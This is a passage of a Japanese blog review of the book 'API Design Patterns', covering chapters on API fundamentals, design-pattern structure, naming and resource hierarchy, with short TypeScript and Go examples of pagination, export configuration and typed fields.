Paginationページネーションの必要性と概要ページネーションの実装ページネーションの影響とトレードオフ実践的な応用と考察ページネーションと全体的なシステムアーキテクチャ結論22 Filteringフィルタリングの必要性と概要フィルタリングの実装フィルタリングの影響とトレードオフ実践的な応用と考察フィルタリングとシステムアーキテクチャ結論23 Importing and exportingインポートとエクスポートの必要性と概要インポートとエクスポートの実装インポートとエクスポートの影響とトレードオフ実践的な応用と考察結論Part 6 Safety and security24 Versioning and compatibilityバージョニングの必要性と互換性の概念後方互換性の定義バージョニング戦略バージョニングのトレードオフ結論25 Soft deletionソフト削除の動機と概要ソフト削除の実装ソフト削除の影響とトレードオフ実践的な応用と考察ソフト削除とシステムアーキテクチャ結論26 Request deduplicationリクエスト重複排除の必要性と概要リクエスト重複排除の実装リクエスト重複排除の影響とトレードオフ実践的な応用と考察リクエスト重複排除とシステムアーキテクチャ結論27 Request validationリクエスト検証の必要性と概要リクエスト検証の実装リクエスト検証の影響とトレードオフ実践的な応用と考察リクエスト検証とシステムアーキテクチャ結論28 Resource revisionsリソースリビジョンの必要性と概要リソースリビジョンの実装リソースリビジョンの影響とトレードオフ実践的な応用と考察リソースリビジョンとシステムアーキテクチャ結論29 Request retrialリクエスト再試行の必要性と概要クライアント側の再試行タイミングサーバー指定の再試行タイミング再試行可能なリクエストの判断実践的な応用と考察結論30 Request authenticationリクエスト認証の必要性と概要デジタル署名の実装リクエストのフィンガープリンティング実践的な応用と考察結論おわりにそもそも、Design Patternsは設計ではないですよね?あとね、方法論は確かに重要ですが、それは単なる「ハウツー」ではありません。優れた方法論は、基本的な原理・原則に基づいており、それらを実践的な形で具現化したものです。つまり、方法論を学ぶことは、その背後にある原理を理解し、それを様々な状況に適用する能力を養うことにつながります。例えば、アジャイル開発やDevOpsといった方法論は、ソフトウェア開発における重要な考え方や原則を実践的なフレームワークとして提供しています。これらの方法論を適切に理解し適用することで、チームの生産性や製品の品質を向上させることができます。しかし、ここで重要なのは、これらの方法論を単なる手順やルールの集合として捉えるのではなく、その根底にある思想や目的を理解することです。そうすることで、方法論を状況に応じて柔軟に適用したり、必要に応じて改良したりすることが可能になります。また、方法論は時代とともに進化します。新しい技術や課題が登場するたびに、既存の方法論が更新されたり、新しい方法論が生まれたりします。したがって、特定の方法論に固執するのではなく、常に学び続け、新しい知識や手法を取り入れる姿勢が重要です。結局のところ、原理・原則と方法論は相互に補完し合う関係にあります。原理・原則は長期的に通用する基盤を提供し、方法論はそれを実践的に適用する手段を提供します。両者をバランスよく学び、理解することで、より効果的かつ柔軟なソフトウェア開発が可能になるのです。言いたいことは言ったので本編どうぞ!Part 1 Introductionこのパートでは、APIの基本概念、重要性、そして「良い」APIの特性について説明しています。APIは「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」と定義され、その重要性が強調されています。Web APIの特性、RPC指向とリソース指向のアプローチの比較、そして運用可能性、表現力、シンプル性、予測可能性といった「良い」APIの特性が詳細に解説されています。1 Introduction to APIs「API Design Patterns」の第1章「Introduction to APIs」は、APIの基本概念から始まり、その重要性、設計哲学、そして「良い」APIの特性に至るまで、幅広いトピックをカバーしています。著者は、Google Cloud Platformのエンジニアとして長年APIの設計と実装に携わってきた経験を活かし、理論と実践の両面からAPIの本質に迫っています。まず、APIの定義から始めましょう。著者は、APIを「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」と説明しています。この一見シンプルな定義の背後には、Google Cloud Platform上の数多くのAPIを設計・実装してきた著者の深い洞察が隠れています。例えば、Google Cloud StorageやBigQueryなどのサービスのAPIは、この定義を体現しており、複雑なクラウドリソースへのアクセスを簡潔なインターフェースで提供しています。この定義は、非常に重要です。なぜなら、私たちの日々の業務の多くは、APIを設計し、実装し、そして維持することに費やされているからです。「APIに遊ばれるだけの日々」という表現は、多くのエンジニアの共感を呼ぶでしょう。しかし、著者の示す視点は、APIを単なる技術的な構成要素ではなく、システム設計の中核を成す重要な概念として捉え直すきっかけを与えてくれます。Googleが提供しているAPI設計ガイドも、非常に優れたAPIの例を紹介しています。このガイドは、著者が所属している Google のエンジニアたちが長年の経験から得た知見をまとめたものであり、「API Design Patterns」の内容を補完する貴重なリソースとなっています。cloud.google.comこのガイドと本書を併せて読むことで、APIの設計に関するより包括的な理解が得られます。例えば、ガイドで推奨されている命名規則やエラー処理の方法は、本書で説明されている「良い」APIの特性と密接に関連しています。この章は、APIの基本を学ぶ初心者から、より良いAPI設計を模索する経験豊富な開発者まで、幅広い読者に価値を提供します。著者の洞察は、私たちがAPIをより深く理解し、より効果的に設計・実装するための道標となるでしょう。Web APIの特性と重要性特に印象的だったのは、著者がWeb APIの重要性と特性を強調していることです。Web APIは、ネットワーク越しに機能を公開し、その内部の仕組みや必要な計算能力を外部から見えないようにするという特性を持っています。これは、マイクロサービスアーキテクチャやクラウドを活用した最新のアプリケーションの観点から考えると、非常に重要な概念です。例えば、マイクロサービスは、その内部の仕組みの詳細を隠しつつ、明確に定義された使い方(API)を通じて他のサービスとやり取りします。これにより、サービス同士の依存関係を少なく保ちながら、システム全体の柔軟性と拡張性を高めることができます。著者は、Web APIの特徴として、API提供者が大きな制御力を持つ一方で、利用者の制御力は限られていることを指摘しています。これは実務において重要な考慮点です。例えば、APIの変更が利用者に与える影響を慎重に管理する必要があります。APIのバージョン管理や段階的な導入などの技術を適切に活用することで、APIの進化と利用者のシステムの安定性のバランスを取ることが求められます。API設計アプローチの比較著者は、APIの設計アプローチとして、RPC (Remote Procedure Call) 指向とリソース指向の2つを比較しています。この比較は非常に興味深く、実際の開発現場での議論を想起させます。例えば、gRPCはRPC指向のAPIを提供し、高性能な通信を実現します。一方で、REST APIはリソース指向のアプローチを取り、HTTPプロトコルの特性を活かした設計が可能です。著者が提唱するリソース指向APIの利点、特に標準化された操作(CRUD操作)とリソースの組み合わせによる学習曲線の緩和は、実際の開発現場でも感じる点です。例えば、新しいマイクロサービスをチームに導入する際、リソース指向のAPIであれば、開発者は既存の知識(標準的なHTTPメソッドの使い方など)を活かしつつ、新しいリソースの概念を学ぶだけで素早く適応できます。「良い」APIの特性「良い」APIの特性に関する著者の見解は、特に重要です。著者は、良いAPIの特性として以下の4点を挙げています。運用可能性(Operational)表現力(Expressive)シンプル性(Simple)予測可能性(Predictable)これらの特性は、現代のソフトウェア開発において非常に重要です。運用可能性とSREの視点運用可能性に関しては、APIが機能的に正しいだけでなく、パフォーマンス、スケーラビリティ、信頼性などの非機能要件を満たすことが、実際の運用環境では極めて重要です。例えば、並行処理機能を活用して高性能なAPIを実装し、OpenTelemetryやPrometheusなどのモニタリングツールと連携してメトリクスを収集することで、運用可能性の高いAPIを実現できます。syu-m-5151.hatenablog.com表現力と使いやすさ表現力に関する著者の議論は、API設計の核心を突いています。APIは単に機能を提供するだけでなく、その機能を明確かつ直感的に表現する必要があります。例えば、言語検出機能を提供する場合、TranslateTextメソッドを使って間接的に言語を検出するのではなく、DetectLanguageという専用のメソッドを提供することで、APIの意図がより明確になります。この点は、特にマイクロサービスアーキテクチャにおいて重要です。各サービスのAPIが明確で表現力豊かであれば、サービス間の統合がスムーズになり、システム全体の理解と保守が容易になります。マイクロサービスアーキテクチャ 第2版作者:Sam Newmanオーム社Amazonシンプル性と柔軟性のバランス著者が提案する「共通のケースを素晴らしく、高度なケースを可能にする」というアプローチは、実際のAPI設計で常に意識すべき点です。例えば、翻訳APIの設計において、単純な言語間翻訳と、特定の機械学習モデルを指定した高度な翻訳の両方をサポートする方法が示されています。このアプローチは、APIの使いやすさと柔軟性のバランスを取る上で非常に有用です。このようなデザインは運用の複雑さを軽減し、エラーの可能性を減らすことができます。この辺はとても良いので書籍をご確認下さい。リーダブルコード ―より良いコードを書くためのシンプルで実践的なテクニック (Theory in practice)作者:Dustin Boswell,Trevor FoucherオライリージャパンAmazon予測可能性とコード一貫性予測可能性に関する著者の主張は、特に共感できる点です。APIの一貫性、特にフィールド名やメソッド名の命名規則の統一は、開発者の生産性に直接影響します。多くの開発チームでは、コードスタイルの一貫性を保つ文化が根付いています。これは、APIの設計にも同様に適用されるべき考え方です。予測可能なAPIは、学習コストを低減し、誤用の可能性を減らします。これは、大規模なシステムやマイクロサービス環境で特に重要です。一貫したパターンを持つAPIは、新しいサービスの統合や既存サービスの拡張を容易にします。著者の主張に対する補完的視点しかし、著者の主張に対して、いくつかの疑問や補完的な視点も考えられます。例えば、リソース指向APIが常に最適解であるかどうかは、議論の余地があります。特に、リアルタイム性が求められる場合や、複雑なビジネスロジックを扱う場合など、RPC指向のアプローチが適している場合もあります。gRPCを使用したストリーミングAPIなど、リソース指向とRPC指向のハイブリッドなアプローチも有効な選択肢となりうるでしょう。また、著者はAPI設計の技術的側面に焦点を当てていますが、組織的な側面についても言及があれば良かったと思います。例えば、マイクロサービスアーキテクチャにおいて、異なるチームが管理する複数のサービス間でAPIの一貫性を保つためには、技術的な設計パターンだけでなく、組織的なガバナンスや設計レビューのプロセスも重要です。さらに、APIのバージョニングや後方互換性の維持に関する詳細な議論があれば、より実践的な内容になったかもしれません。これらの点は、システムの安定性と進化のバランスを取る上で極めて重要です。総括と実践への応用総括すると、この章はAPIの基本概念と設計原則に関する優れた導入を提供しています。著者の主張は、日々の実践に直接適用できる洞察に満ちています。特に、「良い」APIの特性に関する議論は、API設計の指針として非常に有用です。これらの原則を意識しながら設計することで、使いやすく、拡張性があり、運用しやすいAPIを実現できるでしょう。また、リソース指向APIの利点に関する著者の主張は、RESTful APIの設計において特に参考になります。多くの現代的なWebフレームワークを使用してRESTful APIを実装することが一般的ですが、これらのフレームワークを使用する際も、著者が提唱するリソース指向の原則を意識することで、より一貫性のある設計が可能になります。しかし、実際の開発現場では、これらの原則を機械的に適用するだけでなく、具体的なユースケースや要件に応じて適切なトレードオフを判断することが重要です。例えば、パフォーマンスが極めて重要な場合は、RESTful APIよりもgRPCを選択するなど、状況に応じた柔軟な判断が求められます。さらに、APIの設計は技術的な側面だけでなく、ビジネス要件やユーザーのニーズとも密接に関連しています。したがって、API設計のプロセスには、技術チームだけでなく、プロダクトマネージャーやユーザー体験(UX)の専門家など、多様なステークホルダーを巻き込むことが重要です。継続的改善と進化の重要性最後に、APIの設計は一度で完成するものではなく、継続的な改善と進化のプロセスであることを強調したいと思います。APIの性能モニタリング、エラーレート分析、使用パターンの観察などを通じて、常にAPIの品質と有効性を評価し、必要に応じて改善を加えていくことが重要です。この章で学んだ原則と概念を、単なる理論ではなく、実際の開発プラクティスに統合していくことが、次のステップとなるでしょう。例えば、APIデザインレビューのチェックリストを作成し、チーム内で共有することや、APIのスタイルガイドを作成し、一貫性のある設計を促進することなどが考えられます。また、この章の内容を踏まえて、既存のAPIを評価し、改善の余地がないかを検討することも有用です。特に、予測可能性やシンプル性の観点から、現在のAPIが最適化されているかを見直すことで、大きな改善につながる可能性があります。結論結論として、この章はAPIデザインの基本原則を理解し、実践するための優れた出発点を提供しています。ここで学んだ概念を実践に適用することで、より堅牢で使いやすい、そして運用しやすいAPIを設計・実装することができるでしょう。そして、これらの原則を日々の開発プラクティスに組み込むことで、長期的にはプロダクトの品質向上とチームの生産性向上につながると確信しています。この章の内容は、単にAPIの設計だけでなく、ソフトウェアアーキテクチャ全体に適用できる重要な原則を提供しています。システムの相互運用性、保守性、スケーラビリティを向上させるために、これらの原則を広く適用することが可能です。2 Introduction to API design patterns「API Design Patterns」の第2章「Introduction to API design patterns」は、API設計パターンの基本概念から始まり、その重要性、構造、そして実際の適用に至るまで、幅広いトピックをカバーしています。この章を通じて、著者はAPI設計パターンの本質と、それがソフトウェア開発においてどのような役割を果たすかを明確に示しています。API設計パターンの定義と重要性API設計パターンは、ソフトウェア設計パターンの一種であり、APIの設計と構造化に関する再利用可能な解決策を提供します。著者は、これらのパターンを「適応可能な設計図」と巧みに表現しています。この比喩は、API設計パターンの本質を非常によく捉えています。建築の設計図が建物の構造を定義するように、API設計パターンはAPIの構造とインターフェースを定義します。しかし、重要な違いは、API設計パターンが固定的ではなく、様々な状況に適応可能であるという点です。著者は、API設計パターンの重要性をAPIの硬直性という観点から説明しています。これは非常に重要な指摘です。APIは一度公開されると、変更が困難になります。これは、APIの消費者(クライアントアプリケーションなど)が既存のインターフェースに依存しているためです。この硬直性は、システムの進化や新機能の追加を困難にする可能性があります。この問題を考えると、APIの硬直性はシステムの運用性と信頼性に直接影響を与えます。例えば、不適切に設計されたAPIは、将来的なスケーリングや性能最適化を困難にする可能性があります。また、APIの変更が必要になった場合、既存のクライアントとの互換性を維持しながら変更を行う必要があり、これは運用上の大きな課題となります。この問題に対処するため、著者は設計パターンを初期段階から採用することの重要性を強調しています。これは、将来の変更や拡張を容易にし、システムの長期的な保守性を向上させる上で非常に重要です。このアプローチはシステムの安定性と信頼性を長期的に確保するための重要な戦略です。API設計パターンの構造著者は、API設計パターンの構造を詳細に説明しています。特に興味深いのは、パターンの記述に含まれる要素です。名前とシノプシス動機概要実装トレードオフこの構造は、パターンを理解し適用する上で非常に有用です。特に、トレードオフの項目は重要です。ソフトウェア工学において、すべての決定にはトレードオフが伴います。パターンを適用する際も例外ではありません。脱線しますがアーキテクチャのトレードオフについてはこちらがオススメです。ソフトウェアアーキテクチャの基礎 ―エンジニアリングに基づく体系的アプローチ作者:Mark Richards,Neal FordオライリージャパンAmazonトレードオフの理解はリスク管理と密接に関連しています。例えば、あるパターンを採用することで、システムの柔軟性が向上する一方で、複雑性も増加するかもしれません。このトレードオフを理解し、適切に管理することは、システムの信頼性とパフォーマンスを最適化する上で重要です。実践的な適用:Twapiの事例研究著者は、Twitter風のAPIであるTwapiを爆誕させて例に取り、API設計パターンの実践的な適用を示しています。この事例研究は、理論を実践に移す上で非常に有用です。特に興味深いのは、メッセージのリスト化とエクスポートの2つの機能に焦点を当てている点です。これらの機能は、多くのAPIで共通して必要とされるものであり、実際の開発シーンでも頻繁に遭遇する課題です。メッセージのリスト化著者は、まずパターンを適用せずにメッセージをリスト化する機能を実装し、その後にページネーションパターンを適用した実装を示しています。このコントラストは非常に教育的です。パターンを適用しない初期の実装は、以下のようになっています。interface ListMessagesResponse { results: Message[];}この実装は一見シンプルですが、著者が指摘するように、データ量が増加した場合に問題が発生します。例えば、数十万件のメッセージを一度に返そうとすると、レスポンスのサイズが巨大になり、ネットワークの帯域幅を圧迫し、クライアント側での処理も困難になります。これに対し、ページネーションパターンを適用した実装は以下のようになります。interface ListMessagesRequest { parent: string; pageToken: string; maxPageSize?: number;}interface ListMessagesResponse { results: Message[]; nextPageToken: string;}この実装では、クライアントはpageTokenとmaxPageSizeを指定することで、必要な量のデータを段階的に取得できます。これにより、大量のデータを効率的に扱うことが可能になります。このパターンの適用はシステムの安定性とスケーラビリティに大きく貢献します。大量のデータを一度に送信する必要がなくなるため、ネットワーク負荷が軽減され、サーバーのリソース消費も抑えられます。また、クライアント側でも処理するデータ量が制御可能になるため、アプリケーションのパフォーマンスと安定性が向上します。データのエクスポートデータのエクスポート機能に関しても、著者は同様のアプローチを取っています。まずパターンを適用しない実装を示し、その後にImport/Exportパターンを適用した実装を提示しています。パターンを適用しない初期の実装は以下のようになっています。interface ExportMessagesResponse { exportDownloadUri: string;}この実装は、エクスポートされたデータのダウンロードURLを返すだけの単純なものです。しかし、著者が指摘するように、この方法には幾つかの制限があります。例えば、エクスポート処理の進捗状況を確認できない、エクスポート先を柔軟に指定できない、データの圧縮や暗号化オプションを指定できないなどの問題があります。これに対し、Import/Exportパターンを適用した実装は以下のようになります。interface ExportMessagesRequest { parent: string; outputConfig: MessageOutputConfig;}interface MessageOutputConfig { destination: Destination; compressionConfig?: CompressionConfig; encryptionConfig?: EncryptionConfig;}interface ExportMessagesResponse { outputConfig: MessageOutputConfig;}この実装では、エクスポート先やデータの処理方法を柔軟に指定できるようになっています。さらに、著者は長時間実行操作パターンを組み合わせることで、エクスポート処理の進捗状況を追跡する方法も提示しています。このパターンの適用はシステムの運用性と可観測性を大幅に向上させます。エクスポート処理の進捗を追跡できるようになることで、問題が発生した際の迅速な対応が可能になります。また、エクスポート設定の柔軟性が増すことで、様々なユースケースに対応できるようになり、システムの利用可能性が向上します。API設計パターンの適用:早期採用の重要性著者は、API設計パターンの早期採用の重要性を強調しています。これは非常に重要な指摘です。APIを後から変更することは困難であり、多くの場合、破壊的な変更を伴います。例えば、ページネーションパターンを後から導入しようとした場合、既存のクライアントは全てのデータが一度に返ってくることを期待しているため、新しいインターフェースに対応できません。これは、後方互換性の問題を引き起こします。この問題はシステムの安定性と信頼性に直接影響します。APIの破壊的変更は、依存するシステムやサービスの機能停止を引き起こす可能性があります。これは、サービスレベル目標(SLO)の違反につながる可能性があります。したがって、API設計パターンの早期採用は、長期的な視点でシステムの安定性と進化可能性を確保するための重要な戦略と言えます。これは、「設計負債」を最小限に抑え、将来の拡張性を確保することにつながります。結論本章は、API設計パターンの基本的な概念と重要性を明確に示しています。特に、APIの硬直性という特性に焦点を当て、設計パターンの早期採用がいかに重要であるかを強調している点は非常に重要です。この章で学んだ内容は、システムの長期的な信頼性、可用性、保守性を確保する上で非常に重要です。API設計パターンを適切に適用することで、システムのスケーラビリティ、運用性、可観測性を向上させることができます。しかし、パターンの適用に当たっては、常にトレードオフを考慮する必要があります。パターンを適用することで複雑性が増す可能性もあるため、システムの要件や制約を十分に理解した上で、適切なパターンを選択することが重要です。API設計は単なる技術的な問題ではなく、システム全体のアーキテクチャ、開発プロセス、運用実践に深く関わる問題であることを認識することが重要です。Part 2 Design principlesここでは、APIデザインの核心となる原則が議論されています。命名規則、リソースのスコープと階層、データ型とデフォルト値、リソースの識別子、標準メソッド、部分的な更新と取得、カスタムメソッドなどの重要なトピックが取り上げられています。これらの原則は、一貫性があり、使いやすく、拡張性のあるAPIを設計する上で不可欠です。3 Naming「API Design Patterns」の第3章「Naming」は、API設計における命名の重要性、良い名前の特性、言語・文法・構文の選択、コンテキストの影響、データ型と単位の扱い、そして不適切な命名がもたらす結果について幅広く論じています。この章を通じて、著者は命名が単なる表面的な問題ではなく、APIの使いやすさ、保守性、そして長期的な成功に直接影響を与える重要な設計上の決定であることを明確に示しています。命名の重要性著者は、命名がソフトウェア開発において避けられない、そして極めて重要な側面であることから議論を始めています。特にAPIの文脈では、選択された名前はAPIの利用者が直接目にし、相互作用する部分であるため、その重要性は倍増します。「ルールズ・オブ・プログラミング」では\\"優れた名前こそ最高のドキュメントである\\"と述べられていますが、まさにその通りだと言えるでしょう。ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール作者:Chris Zimmermanオーム社Amazonこの点は、特にマイクロサービスアーキテクチャやクラウドネイティブ開発の文脈で重要です。これらの環境では、多数のサービスやコンポーネントが相互に通信し、それぞれのインターフェースを通じて機能を提供します。適切な命名は、これらのサービス間の関係を明確にし、システム全体の理解を促進します。例えば、Kubernetes環境で動作するマイクロサービスを考えてみましょう。サービス名、エンドポイント名、パラメータ名などの命名が適切であれば、開発者はシステムの全体像を把握しやすくなり、新しい機能の追加や既存機能の修正がスムーズに行えます。逆に、命名が不適切であれば、サービス間の依存関係の理解が困難になり、システムの複雑性が不必要に増大する可能性があります。著者は、APIの名前を変更することの困難さについても言及しています。これは、後方互換性の維持という観点から非常に重要な指摘です。一度公開されたAPIの名前を変更することは、そのAPIに依存する全てのクライアントに影響を与える可能性があります。これは、システムの安定性と信頼性に直接関わる問題です。この点は、特にバージョニング戦略と密接に関連しています。例えば、セマンティックバージョニングを採用している場合、名前の変更は通常メジャーバージョンの更新を必要とします。これは、その変更が後方互換性を破壊する可能性があることを意味します。したがって、初期の段階で適切な命名を行うことは、将来的なバージョン管理の複雑さを軽減し、システムの長期的な保守性を向上させる上で極めて重要です。良い名前の特性著者は、良い名前の特性として「表現力」「シンプルさ」「予測可能性」の3つを挙げています。これらの特性は、APIの設計全体にも適用できる重要な原則です。表現力は、名前が表す概念や機能を明確に伝える能力を指します。例えば、CreateAccountという名前は、アカウントを作成するという機能を明確に表現しています。この表現力は、APIの自己文書化につながり、開発者がAPIを直感的に理解し、使用することを可能にします。シンプルさは、不必要な複雑さを避け、本質的な意味を簡潔に伝える能力です。著者はUserPreferencesという例を挙げていますが、これはUserSpecifiedPreferencesよりもシンプルでありながら、十分に意味を伝えています。シンプルな名前は、コードの可読性を高め、APIの学習曲線を緩やかにします。予測可能性は、APIの一貫性に関わる重要な特性です。著者は、同じ概念には同じ名前を、異なる概念には異なる名前を使用することの重要性を強調しています。これは、APIの学習可能性と使いやすさに直接影響します。これらの特性は、マイクロサービスアーキテクチャにおいて特に重要です。多数のサービスが存在する環境では、各サービスのAPIが一貫した命名規則に従っていることが、システム全体の理解と保守を容易にします。例えば、全てのサービスで、リソースの作成にCreate、更新にUpdate、削除にDeleteというプレフィックスを使用するといった一貫性は、開発者の生産性を大きく向上させます。Golangの文脈では、これらの原則は特に重要です。Goの設計哲学は、シンプルさと明確さを重視しており、これはAPI設計にも反映されるべきです。例えば、Goの標準ライブラリでは、http.ListenAndServeやjson.Marshalのような、動詞+名詞の形式で簡潔かつ表現力豊かな名前が多用されています。これらの名前は、その機能を明確に表現しながらも、不必要に長くならないよう配慮されています。言語、文法、構文の選択著者は、API設計における言語、文法、構文の選択について詳細に論じています。特に興味深いのは、アメリカ英語を標準として使用することの推奨です。これは、グローバルな相互運用性を最大化するための実用的な選択として提示されています。この選択は、国際的なチームが協働するモダンな開発環境において特に重要です。例えば、多国籍企業のマイクロサービス環境では、各サービスのAPIが一貫した言語で設計されていることが、チーム間のコミュニケーションと統合を円滑にします。文法に関しては、著者は動詞の使用法、特に命令法の重要性を強調しています。例えば、CreateBookやDeleteWeatherReadingのような名前は、アクションの目的を明確に示します。これは、RESTful APIの設計原則とも整合しており、HTTP動詞とリソース名の組み合わせによる直感的なAPIデザインを促進します。構文に関しては、一貫したケース(camelCase, snake_case, kebab-case)の使用が推奨されています。これは、APIの一貫性と予測可能性を高めるために重要です。例えば、Golangでは通常、公開される関数やメソッドには PascalCase を、非公開のものには camelCase を使用します。この規則を API 設計にも適用することで、Go 開発者にとって馴染みやすい API を作成できます。type UserService interface { CreateUser(ctx context.Context, user *User) error GetUserByID(ctx context.Context, id string) (*User, error) UpdateUserProfile(ctx context.Context, id string, profile *UserProfile) error}このような一貫した命名規則は、API の使用者が新しいエンドポイントや機能を容易に予測し、理解することを可能にします。コンテキストと命名著者は、命名におけるコンテキストの重要性を強調しています。同じ名前でも、異なるコンテキストで全く異なる意味を持つ可能性があるという指摘は、特にマイクロサービスアーキテクチャにおいて重要です。例えば、Userという名前は、認証サービスでは認証情報を持つエンティティを指す可能性がありますが、注文管理サービスでは顧客情報を指す可能性があります。このような場合、コンテキストを明確にするために、AuthUserやCustomerUserのように、より具体的な名前を使用することが望ましいでしょう。これは、ドメイン駆動設計(DDD)の概念とも密接に関連しています。DDDでは、各ドメイン(またはバウンデッドコンテキスト)内で一貫した用語を使用することが推奨されます。API設計においても、この原則を適用し、各サービスやモジュールのドメインに適した名前を選択することが重要です。例えば、Eコマースシステムのマイクロサービスアーキテクチャを考えてみましょう:注文サービス: Order, OrderItem, PlaceOrder在庫サービス: InventoryItem, StockLevel, ReserveStock支払サービス: Payment, Transaction, ProcessPayment各サービスは、そのドメインに特化した用語を使用しています。これにより、各サービスの責任範囲が明確になり、他のサービスとの境界も明確になります。データ型と単位著者は、データ型と単位の扱いについても詳細に論じています。特に、単位を名前に含めることの重要性が強調されています。これは、API の明確さと安全性を高める上で非常に重要です。例えば、サイズを表すフィールドを単に size とするのではなく、sizeBytes や sizeMegapixels のように単位を明示することで、そのフィールドの意味と使用方法が明確になります。これは、特に異なるシステム間で情報をやり取りする際に重要です。著者が挙げている火星気候軌道船の例は、単位の不一致がもたらす重大な結果を示す極端な例ですが、日常的な開発においても同様の問題は起こりうます。例えば、あるサービスが秒単位で時間を扱い、別のサービがミリ秒単位で扱っている場合、単位が明示されていないと深刻なバグの原因となる可能性があります。Golangにおいて、このような問題に対処するための一つの方法は、カスタム型を使用することです。例えば:type Bytes int64type Megapixels float64type Image struct { Content []byte SizeBytes Bytes Dimensions struct { Width Megapixels Height Megapixels }}このようなアプローチは、型安全性を高め、単位の誤用を防ぐのに役立ちます。さらに、これらの型に特定のメソッドを追加することで、単位変換や値の検証を容易に行うことができます。結論著者は、良い命名の重要性と、それがAPIの品質全体に与える影響を明確に示しています。良い名前は、単にコードを読みやすくするだけでなく、APIの使いやすさ、保守性、そして長期的な進化可能性に直接影響を与えます。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境では、適切な命名がシステム全体の理解と管理を容易にする鍵となります。一貫性のある、表現力豊かで、かつシンプルな名前を選択することで、開発者はAPIを直感的に理解し、効率的に使用することができます。また、単位やデータ型を明確に示す名前を使用することは、システムの安全性と信頼性を高める上で重要です。これは、特に異なるシステムやチーム間でデータをやり取りする際に、誤解や誤用を防ぐ効果的な手段となります。Golangの文脈では、言語の設計哲学であるシンプルさと明確さを反映したAPI設計が重要です。標準ライブラリの命名規則に倣い、簡潔でかつ表現力豊かな名前を選択することで、Go開発者にとって親和性の高いAPIを設計することができます。最後に、命名は技術的な問題であると同時に、コミュニケーションの問題でもあります。適切な命名は、開発者間、チーム間、さらには組織間のコミュニケーションを促進し、プロジェクトの成功に大きく寄与します。したがって、API設計者は命名に十分な時間と注意を払い、長期的な視点でその影響を考慮する必要があります。4 Resource scope and hierarchy「API Design Patterns」の第4章「Resource scope and hierarchy」は、APIにおけるリソースのスコープと階層構造に焦点を当て、リソースレイアウトの概念、リソース間の関係性の種類、エンティティ関係図の活用方法、適切なリソース関係の選択基準、そしてリソースレイアウトのアンチパターンについて詳細に論じています。この章を通じて、著者はリソース中心のAPI設計の重要性と、それがシステムの拡張性、保守性、そして全体的なアーキテクチャにどのように影響を与えるかを明確に示しています。Figure 4.2 Users, payment methods, and addresses all have different relationships to one another. より引用リソースレイアウトの重要性著者は、APIデザインにおいてリソースに焦点を当てることの重要性から議論を始めています。これは、RESTful APIの設計原則と密接に関連しており、アクションよりもリソースを中心に考えることで、API全体の一貫性と理解しやすさが向上することを強調しています。この考え方は、マイクロサービスアーキテクチャやクラウドネイティブ開発において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが扱うリソースとその関係性を明確に定義することで、システム全体の複雑性を管理しやすくなります。著者が提示するリソースレイアウトの概念は、単にデータベーススキーマを設計するのとは異なります。APIのリソースレイアウトは、クライアントとサーバー間の契約であり、システムの振る舞いや機能を定義する重要な要素となります。この点で、リソースレイアウトはシステムの外部インターフェースを形作る重要な要素であり、慎重に設計する必要があります。リソース間の関係性著者は、リソース間の関係性を詳細に分類し、それぞれの特性と適用場面について論じています。特に注目すべきは以下の点です。参照関係: 最も基本的な関係性で、あるリソースが他のリソースを参照する形式です。例えば、メッセージリソースが著者ユーザーを参照する場合などが該当します。多対多関係: 複数のリソースが互いに関連する複雑な関係性です。例えば、ユーザーとチャットルームの関係などが挙げられます。自己参照関係: 同じタイプのリソースが互いに参照し合う関係性です。階層構造や社会的なネットワークの表現に適しています。階層関係: 親子関係を表現する特殊な関係性で、所有権や包含関係を示します。これらの関係性の理解と適切な適用は、APIの設計において極めて重要です。特に、マイクロサービスアーキテクチャにおいては、サービス間の境界を定義する際にこれらの関係性を慎重に考慮する必要があります。例えば、Golangを用いてマイクロサービスを実装する場合、これらの関係性を適切に表現することが重要です。以下は、チャットアプリケーションにおけるメッセージとユーザーの関係を表現する簡単な例です。type Message struct { ID string `json:\\"id\\"` Content string `json:\\"content\\"` AuthorID string `json:\\"author_id\\"` Timestamp time.Time `json:\\"timestamp\\"`}type User struct { ID string `json:\\"id\\"` Username string `json:\\"username\\"` Email string `json:\\"email\\"`}type ChatRoom struct { ID string `json:\\"id\\"` Name string `json:\\"name\\"` UserIDs []string `json:\\"user_ids\\"`}この例では、MessageがUserを参照する関係性と、ChatRoomとUserの多対多関係を表現しています。エンティティ関係図の活用著者は、エンティティ関係図(ERD)の重要性とその読み方について詳しく説明しています。ERDは、リソース間の関係性を視覚的に表現する強力なツールです。特に、カーディナリティ(一対一、一対多、多対多など)を明確に示すことができる点が重要です。ERDの活用は、APIの設計フェーズだけでなく、ドキュメンテーションや開発者間のコミュニケーションにおいても非常に有効です。特に、マイクロサービスアーキテクチャのような複雑なシステムでは、各サービスが扱うリソースとその関係性を視覚的に理解することが、全体像の把握に役立ちます。適切な関係性の選択著者は、リソース間の適切な関係性を選択する際の考慮点について詳細に論じています。特に重要な点は以下の通りです。関係性の必要性: すべてのリソース間に関係性を持たせる必要はありません。必要最小限の関係性に留めることで、APIの複雑性を抑制できます。インライン化 vs 参照: リソースの情報をインライン化するか、参照として扱うかの選択は、パフォーマンスとデータの一貫性のトレードオフを考慮して決定する必要があります。階層関係の適切な使用: 階層関係は強力ですが、過度に深い階層は避けるべきです。これらの選択は、システムの拡張性と保守性に大きな影響を与えます。例えば、不必要に多くの関係性を持つAPIは、将来的な変更が困難になる可能性があります。一方で、適切に設計された関係性は、システムの理解を容易にし、新機能の追加やスケーリングを円滑に行うことができます。アンチパターンの回避著者は、リソースレイアウトにおける一般的なアンチパターンとその回避方法について説明しています。特に注目すべきアンチパターンは以下の通りです。全てをリソース化する: 小さな概念まですべてをリソース化することは、APIを不必要に複雑にする可能性があります。深すぎる階層: 過度に深い階層構造は、APIの使用と理解を困難にします。全てをインライン化する: データの重複や一貫性の問題を引き起こす可能性があります。これらのアンチパターンを回避することで、より使いやすく、保守性の高いAPIを設計することができます。例えば、深すぎる階層構造を避けることで、APIのエンドポイントがシンプルになり、クライアント側の実装も容易になります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境での応用を考えると、以下のような点が重要になります。サービス境界の定義: 